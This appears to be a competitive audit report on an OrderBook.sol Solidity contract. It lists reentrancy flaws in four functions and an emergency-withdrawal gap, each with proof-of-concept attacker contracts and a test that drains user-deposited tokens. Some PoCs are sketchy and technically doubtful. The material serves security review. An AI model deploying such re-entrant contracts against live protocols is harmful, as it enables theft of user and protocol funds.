Findings and Audit Competition Submissions

This was a competitive audit for the firstflights competition on CodeHawks.

Writeup follows the submission form for the competition.

Scope is for 1 contract: OrderBook.sol

[H-1] CEI Pattern Violation in createSellOrder() Enables Reentrancy Attacks

Description

The createSellOrder() function should safely create a new sell order by transferring tokens from the seller to the contract and storing the order details atomically without risk of reentrancy.

Specific Issue The function violates the Checks-Effects-Interactions (CEI) pattern by making an external call (safeTransferFrom) before completing all state updates, creating a reentrancy vulnerability that allows malicious token contracts to re-enter the function during execution.

Root Cause

```
function createSellOrder(
    address _tokenToSell,
    uint256 _amountToSell,
    uint256 _priceInUSDC,
    uint256 _deadlineDuration
) public returns (uint256) {
    // ... validation checks ...

    uint256 deadlineTimestamp = block.timestamp + _deadlineDuration;
    uint256 orderId = _nextOrderId++;

    // @> EXTERNAL CALL BEFORE STATE COMPLETION
    IERC20(_tokenToSell).safeTransferFrom(msg.sender, address(this),
_amountToSell);

    // @> STATE UPDATE AFTER EXTERNAL CALL
    orders[orderId] = Order({
        id: orderId,
        seller: msg.sender,
        tokenToSell: _tokenToSell,
        amountToSell: _amountToSell,
        priceInUSDC: _priceInUSDC,
        deadlineTimestamp: deadlineTimestamp,
        isActive: true
    });
```

```
    emit OrderCreated(orderId, msg.sender, _tokenToSell,
_amountToSell, _priceInUSDC, deadlineTimestamp);
    return orderId;
}
```

Risk

Likelihood:

A malicious token contract must be whitelisted via setAllowedSellToken() Owner controls token whitelist, reducing immediate risk However, owner could unknowingly whitelist a malicious token

Impact:

Malicious token contracts can re-enter during safeTransferFrom Could potentially manipulate order state or create multiple orders with same tokens May lead to inconsistent contract state or fund loss

Proof of Concept

```
// Malicious ERC20 token contract
contract MaliciousToken {
    OrderBook orderBook;
    address attacker;
    bool attacking;

    constructor(address _orderBook) {
        orderBook = OrderBook(_orderBook);
        attacker = msg.sender;
    }

    function transferFrom(address from, address to, uint256 amount)
external returns (bool) {
        // Re-enter createSellOrder during token transfer
        if (!attacking && to == address(orderBook)) {
            attacking = true;
            // Re-entrant call before original order is stored
            orderBook.createSellOrder(address(this), amount, 1000,
86400);
        }
        return true;
    }

    // Other ERC20 functions...
}

// Attack scenario:
// 1. Owner unknowingly whitelists MaliciousToken
// 2. Attacker calls createSellOrder() with MaliciousToken
// 3. During safeTransferFrom, malicious contract re-enters
// 4. Multiple orders created or state manipulated before original
call completes
```

Recommended Mitigation

Follow the Checks-Effects-Interactions pattern by moving all state updates before external calls.

Alternatively, add a reentrancy guard.

[H-2] CEI Pattern Violation in amendSellOrder() Enables Reentrancy Attacks

Description

The amendSellOrder() function should safely modify an existing sell order by adjusting token amounts (transferring additional tokens to contract or returning excess tokens to seller) and updating order parameters atomically without risk of reentrancy.

Specific Issue The function violates the Checks-Effects-Interactions (CEI) pattern by making external calls (safeTransferFrom/safeTransfer) before completing all state updates, creating a reentrancy vulnerability that allows malicious token contracts to re-enter the function during token transfers.

Root Cause

```
function amendSellOrder(
    uint256 _orderId,
    uint256 _newAmountToSell,
    uint256 _newPriceInUSDC,
    uint256 _newDeadlineDuration
) public {
    Order storage order = orders[_orderId];
    // ... validation checks ...

    uint256 newDeadlineTimestamp = block.timestamp +
_newDeadlineDuration;
    IERC20 token = IERC20(order.tokenToSell);

    // @> EXTERNAL CALLS BEFORE STATE UPDATES
    if (_newAmountToSell > order.amountToSell) {
        uint256 diff = _newAmountToSell - order.amountToSell;
        token.safeTransferFrom(msg.sender, address(this), diff);
    } else if (_newAmountToSell < order.amountToSell) {
        uint256 diff = order.amountToSell - _newAmountToSell;
        token.safeTransfer(order.seller, diff);
    }

    // @> STATE UPDATES AFTER EXTERNAL CALLS
    order.amountToSell = _newAmountToSell;
    order.priceInUSDC = _newPriceInUSDC;
    order.deadlineTimestamp = newDeadlineTimestamp;

    emit OrderAmended(_orderId, _newAmountToSell, _newPriceInUSDC,
newDeadlineTimestamp);
}
```

Risk

Likelihood:

wETH, wBTC, and wSOL are established tokens with standard ERC20 implementations These legitimate tokens are unlikely to contain malicious reentrancy code However, the vulnerability exists and could be exploited if any whitelisted token had non-standard behavior

Impact:

Malicious token contracts could re-enter during safeTransferFrom or safeTransfer Attacker could manipulate order state before original amendments are applied Could lead to inconsistent order state, double-spending of amendments, or fund manipulation More complex than createSellOrder due to bidirectional token transfers

Proof of Concept

```
// Malicious token that triggers reentrancy during transfers
contract MaliciousToken {
    OrderBook orderBook;
    uint256 targetOrderId;
    bool attacking;

    function transferFrom(address from, address to, uint256 amount)
external returns (bool) {
        if (!attacking && to == address(orderBook)) {
            attacking = true;
            // Re-enter while original amendment is in progress
            orderBook.amendSellOrder(targetOrderId, 500, 2000,
172800);
        }
        return true;
    }

    function transfer(address to, uint256 amount) external returns
(bool) {
        if (!attacking && to != address(orderBook)) {
            attacking = true;
            // Re-enter during token return to seller
            orderBook.amendSellOrder(targetOrderId, 1500, 3000,
259200);
        }
        return true;
    }
}

// Attack scenario:
// 1. Attacker creates order with malicious token
// 2. Calls amendSellOrder() to increase amount (triggers
transferFrom)
// 3. During transferFrom, malicious contract re-enters
amendSellOrder()
// 4. Order state manipulated before original amendment completes
// 5. Similar attack possible when decreasing amount (triggers
transfer)
```

Recommended Mitigation

Follow the Checks-Effects-Interactions pattern by moving all state updates before external calls

Alternatively, add a reentrancy guard.

[H-3] CEI Pattern Violation in buyOrder() Enables Reentrancy and Fee Manipulation

Description

The buyOrder() function should safely execute a token purchase by collecting USDC payment (including protocol fees), transferring tokens to the buyer, paying the seller, and updating fee accounting atomically without risk of reentrancy.

Specific Issue The function violates the Checks-Effects-Interactions (CEI) pattern by making multiple external calls before completing the final state update (totalFees += protocolFee), creating a reentrancy vulnerability that allows malicious contracts to manipulate fee accounting and potentially exploit the order execution process.

Root Cause

```
function buyOrder(uint256 _orderId) public {
    Order storage order = orders[_orderId];
    // ... validation checks ...

    order.isActive = false;
    uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
    uint256 sellerReceives = order.priceInUSDC - protocolFee;

    // @> MULTIPLE EXTERNAL CALLS BEFORE FINAL STATE UPDATE
    iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
    iUSDC.safeTransferFrom(msg.sender, order.seller,
sellerReceives);
    IERC20(order.tokenToSell).safeTransfer(msg.sender,
order.amountToSell);

    // @> CRITICAL STATE UPDATE AFTER EXTERNAL CALLS
    totalFees += protocolFee;

    emit OrderFilled(_orderId, msg.sender, order.seller);
}
```

Risk

Likelihood:

USDC and established tokens (wETH, wBTC, wSOL) have standard implementations These legitimate tokens are unlikely to contain malicious reentrancy code However, the vulnerability exists and could be exploited if

any involved token had non-standard behavior Most critical function for value exchange makes this a high-priority fix

Impact:

Malicious USDC or token contracts could re-enter during any of the three transfers totalFees accounting manipulation - attacker could prevent proper fee tracking Could potentially execute multiple orders or manipulate protocol revenue Most severe impact among all CEI violations due to direct value exchange

Proof of Concept

```
// Malicious USDC contract that exploits fee accounting
contract MaliciousUSDC {
    OrderBook orderBook;
    uint256 targetOrderId;
    bool attacking;

    function transferFrom(address from, address to, uint256 amount)
external returns (bool) {
        if (!attacking && to == address(orderBook)) {
            attacking = true;
            // Re-enter during fee collection, before totalFees is
updated
            orderBook.buyOrder(targetOrderId);
            // totalFees accounting could be manipulated
        }
        return true;
    }
}

// Attack scenario:
// 1. Attacker deploys malicious USDC-like contract
// 2. If this malicious contract becomes the USDC reference
(unlikely but theoretically possible)
// 3. During buyOrder(), malicious transferFrom re-enters the
function
// 4. totalFees is incremented multiple times or manipulated
// 5. Protocol fee accounting becomes inconsistent

// Alternative scenario with malicious sell token:
contract MaliciousToken {
    function transfer(address to, uint256 amount) external returns
(bool) {
        if (to != address(orderBook)) {
            // Re-enter during token delivery to buyer
            orderBook.buyOrder(anotherOrderId);
        }
        return true;
    }
}
```

Recommended Mitigation

Follow the Checks-Effects-Interactions pattern by moving all state updates before external calls.

Alternatively, add a reentrancy guard.

[H-4] CEI Pattern Violation in withdrawFees() Enables Protocol Fee Drainage via Reentrancy

Description

The withdrawFees() function should safely transfer accumulated protocol fees to the owner-specified address and reset the fee counter atomically to prevent double-withdrawal or reentrancy attacks.

Specific Issue The function violates the Checks-Effects-Interactions (CEI) pattern by making an external call (safeTransfer) before resetting the totalFees state variable, creating a reentrancy vulnerability that allows malicious recipient contracts to drain all protocol fees multiple times.

Root Cause

```
function withdrawFees(address _to) external onlyOwner {
    if (totalFees == 0) {
        revert InvalidAmount();
    }
    if (_to == address(0)) {
        revert InvalidAddress();
    }

    // @> EXTERNAL CALL BEFORE STATE UPDATE
    iUSDC.safeTransfer(_to, totalFees);

    // @> CRITICAL STATE RESET AFTER EXTERNAL CALL
    totalFees = 0;

    emit FeesWithdrawn(_to);
}
```

Risk

Likelihood:

Owner controls the recipient address (_to parameter) If owner uses a contract address as recipient (multisig, treasury contract, etc.) Malicious or compromised recipient contract could exploit the reentrancy Higher likelihood than other CEI violations since owner might legitimately use contract recipients

Impact:

Complete drainage of all accumulated protocol fees Malicious recipient can re-enter before totalFees = 0 executes Each reentrant call withdraws the full totalFees amount again Could result in total loss of protocol revenue

Proof of Concept

```
// Malicious recipient contract that exploits fee withdrawal
contract MaliciousFeeRecipient {
    OrderBook orderBook;
    uint256 attackCount;

    constructor(address _orderBook) {
        orderBook = OrderBook(_orderBook);
    }

    // This function is called when USDC is transferred to this
contract
    function onTokenReceived() external {
        if (attackCount < 3) { // Limit to prevent gas exhaustion
            attackCount++;
            // Re-enter withdrawFees before totalFees is reset
            orderBook.withdrawFees(address(this));
        }
    }

    // If using a malicious ERC20 implementation, could trigger in
transfer
    receive() external payable {
        onTokenReceived();
    }
}

// Attack scenario:
// 1. Protocol accumulates 10,000 USDC in fees (totalFees = 10,000)
// 2. Owner calls withdrawFees(maliciousContract)
// 3. During safeTransfer, malicious contract's receive/callback is
triggered
// 4. Malicious contract re-enters withdrawFees(address(this))
// 5. Since totalFees is still 10,000 (not reset yet), another
10,000 USDC is sent
// 6. This repeats multiple times before original call completes
// 7. Result: 30,000+ USDC withdrawn from only 10,000 USDC in fees

// Alternative if USDC has callbacks:
contract ExploitUSDC {
    function safeTransfer(address to, uint256 amount) external {
        // Transfer the tokens
        transfer(to, amount);

        // If 'to' is a malicious contract, trigger callback
        if (isContract(to)) {
            MaliciousFeeRecipient(to).onTokenReceived();
        }
    }
}
```

Recommended Mitigation

Follow the Checks-Effects-Interactions pattern by resetting state before external calls.

Alternatively, add a reentrancy guard.

[H-5] Incomplete Protection in emergencyWithdrawERC20() Allows Drainage of User-Deposited Tokens

Description

The emergencyWithdrawERC20() function should only allow withdrawal of accidentally sent tokens that are not part of the core protocol functionality, protecting all tokens that users have legitimately deposited for active trading orders.

Specific Issue The function only protects the four hardcoded immutable tokens (wETH, wBTC, wSOL, USDC) but fails to protect tokens in the dynamic allowedSellToken mapping. This allows the owner to drain any whitelisted tokens that users have deposited for sell orders, even when those tokens are actively being used in the protocol.

Root Cause

```
function emergencyWithdrawERC20(address _tokenAddress, uint256
_amount, address _to) external onlyOwner {
    // @> ONLY PROTECTS HARDCODED IMMUTABLE TOKENS
    if (
        _tokenAddress == address(iWETH) || _tokenAddress ==
address(iWBTC) ||
        _tokenAddress == address(iWSOL) || _tokenAddress ==
address(iUSDC)
    ) {
        revert("Cannot withdraw core order book tokens via emergency
function");
    }
    if (_to == address(0)) {
        revert InvalidAddress();
    }

    // @> NO CHECK FOR DYNAMICALLY WHITELISTED TOKENS
    // Missing: if (allowedSellToken[_tokenAddress]) revert("Cannot
withdraw whitelisted tokens");

    IERC20 token = IERC20(_tokenAddress);
    token.safeTransfer(_to, _amount);

    emit EmergencyWithdrawal(_tokenAddress, _amount, _to);
}
```

The protection logic creates a mismatch:

Design: Contract supports dynamic token addition via setAllowedSellToken() Protection: Only protects 4 specific hardcoded tokens Gap: Whitelisted tokens used in active orders can be drained

Risk

Likelihood:

Owner has direct control over both setAllowedSellToken() and emergencyWithdrawERC20() Attack requires only standard owner privileges, no special conditions Could happen accidentally or maliciously High likelihood because it requires no external dependencies

Impact:

Complete loss of user funds for any newly whitelisted tokens Orders become unfulfillable, breaking protocol functionality Users lose deposited tokens with no recovery mechanism Destroys trust in protocol security

Proof of Concept

```
// Step-by-step attack scenario:

// Day 1: Owner adds support for LINK token
orderBook.setAllowedSellToken(LINK_ADDRESS, true);

// Days 2-30: Users create sell orders with LINK
// User A: createSellOrder(LINK_ADDRESS, 1000, 5000, 86400)
// User B: createSellOrder(LINK_ADDRESS, 2000, 8000, 86400)
// User C: createSellOrder(LINK_ADDRESS, 1500, 6000, 86400)
// Total: 4500 LINK tokens now locked in contract

// Day 31: Owner "emergency withdraws" all LINK tokens
orderBook.emergencyWithdrawERC20(LINK_ADDRESS, 4500, ownerWallet);

// Result:
// ✅ Transaction succeeds (LINK != wETH/wBTC/wSOL/USDC)
// ❌ Owner receives 4500 LINK tokens
// ❌ Users A, B, C have worthless orders that can never be fulfilled
// ❌ buyOrder() calls will fail: "Insufficient token balance"

// Proof of concept test:
contract ProofOfConcept {
    function testEmergencyWithdrawWhitelistedToken() public {
        // Setup
        address LINK = address(new MockERC20("LINK", "LINK"));
        orderBook.setAllowedSellToken(LINK, true);

        // User deposits tokens via createSellOrder
        vm.prank(user);
        MockERC20(LINK).approve(address(orderBook), 1000);
        vm.prank(user);
        uint256 orderId = orderBook.createSellOrder(LINK, 1000,
5000, 86400);

        // Verify tokens are in contract
        assertEq(MockERC20(LINK).balanceOf(address(orderBook)),
1000);

        // Owner drains the tokens
        vm.prank(owner);
        orderBook.emergencyWithdrawERC20(LINK, 1000, owner);

        // Verify drainage
```

```
        assertEq(MockERC20(LINK).balanceOf(address(orderBook)), 0);
        assertEq(MockERC20(LINK).balanceOf(owner), 1000);

        // Order becomes unfulfillable
        vm.prank(buyer);
        vm.expectRevert(); // Will fail due to insufficient token
balance
        orderBook.buyOrder(orderId);
    }
}
```

Recommended Mitigation

Add protection for all whitelisted tokens, not just hardcoded ones.